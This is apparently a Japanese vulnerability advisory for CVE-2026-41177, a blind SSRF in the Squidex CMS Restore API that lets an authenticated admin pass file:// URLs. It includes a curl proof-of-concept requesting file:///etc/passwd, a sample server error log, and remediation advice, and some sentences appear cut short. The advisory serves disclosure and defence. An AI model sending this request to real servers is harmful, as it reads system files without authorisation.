CVE-2026-41177に関する技術調査と分析: Squidex CMS Restore APIにおけるブラインドServer-Side Request Forgery (SSRF) の脆弱性。
/api/apps/restore)Squidex Restore APIは、ブラインドServer-Side Request Forgery (SSRF) に対して脆弱です。このアプリケーションは、ユーザーが指定した Url パラメータのURIスキームを検証しないため、file:// プロトコルの使用が可能になります。これにより、認証された管理者がバックエンドサーバーにローカルファイルシステムとの対話を強制でき、ローカルファイル操作 (LFI) や、内部ログのサイドチャネル分析による機密システム情報の漏えいにつながる可能性があります。
file:///etc/passwd)を使用して「Restore」ジョブを作成します。RestoreJob204 No Content ですが、内部サーバーログには、コンテンツが有効なZIPアーカイブではないために失敗する前に、サーバーがファイルを正常に開いて読み取ったことが記録されます。次のcurlコマンドを実行します(<TOKEN> を有効な管理者トークンに置き換えてください):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
Squidexコンテナログの次のエラーは、内部ファイル操作を確認します:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
注: InvalidDataException は、サーバーがファイルのバイトに正常にアクセスして読み取ったことを確認します。
この脆弱性により、認証された攻撃者は以下を行うことができます:
appsettings.json、シークレット)の存在を確認します。http:// と https:// スキームのみを厳密に許可します。file:// スキームを使用するURIを拒否するチェックを実装します。